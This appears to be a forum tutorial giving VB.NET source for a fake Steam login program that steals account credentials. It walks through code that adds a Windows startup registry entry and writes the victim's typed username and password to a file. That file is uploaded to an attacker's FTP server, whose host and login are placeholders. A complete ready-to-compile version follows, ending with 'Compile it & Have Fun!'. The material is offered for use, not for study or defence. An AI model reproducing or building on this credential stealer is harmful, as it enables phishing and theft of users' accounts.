"PictureBox3_MouseDown" Evend handler used to move the form
* Form1_Load Event handler
Code:
If Directory.Exists("C:\Program Files\Steam\resource\info") = False Then
Directory.CreateDirectory("C:\Program Files\Steam\resource\info")
End If
To Check if the directory "C:\Program Files\Steam\resource\info" exist or not..if not it creates one.
Code:
If File.Exists("C:\Program Files\Steam\Steamstart.exe") = False Then
to check if the file exist
Code:
Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "RunSteam", "C:\Program Files\Steam\Steamstart.exe")
sets the registry value to start "C:\Program Files\Steam\Steamstart.exe" on Windows startup.
Code:
File.WriteAllText("C:\Program Files\Steam\resource\info\test.txt", "*****")
Writes "******" to the text file "C:\Program Files\Steam\resource\info\test.txt".
Code:
My.Computer.Network.UploadFile("C:\Program Files\Steam\resource\info\test.txt", "ftp://ftp.*HOST*.com/***.txt", "*FTPUSER*", "***FTPPASS****")
uploads the file to FTP Server
* PictureBox1_Click Event Handler
Code:
Dim dat As String = My.Computer.Clock.LocalTime.Month.ToString & My.Computer.Clock.LocalTime.Day.ToString & My.Computer.Clock.LocalTime.Hour.ToString & My.Computer.Clock.LocalTime.Minute.ToString & My.Computer.Clock.LocalTime.Second.ToString
Current date
Code:
File.WriteAllText("C:\Program Files\Steam\resource\info\pass" & dat & ".txt", user.Text + " -- " + pass.Text + " ")
Writes The Date, Username and Password that you typed in the Two TextBoxes to the file( C:\Program Files\Steam\resource\info\pass)
Code:
My.Computer.Network.UploadFile("C:\Program Files\Steam\resource\info\pass" & dat & ".txt", "ftp://ftp.**HOST**.com/steampass" & dat & ".txt", "**FTP PASS**", "**FTP USER***")
Uploads the written file to the FTP Server
- The Easier Method
- Create New Project.
- Add Two TextBox Instances to your Form.
- Add A Button. (Leave the Default Names for the controls if you changed them you'll need to change them in the code)
Add the following code:
Code:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = vbNullString Or TextBox2.Text = vbNullString Then
MessageBox.Show("Please fill all fields", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
Dim ftp_user As String = "user name here"
Dim ftp_pw As String = "password here"
Dim ftp_server As String = "host name here"
Dim file = Application.StartupPath & "\pw.txt"
My.Computer.FileSystem.WriteAllText(file, TextBox1.Text & vbNewLine & TextBox2.Text, False)
My.Computer.Network.UploadFile(file, "ftp://" & ftp_user & ":" & ftp_pw & "@" & ftp_server + "/pw.txt")
End If
End Sub
End Class
Compile it & Have Fun!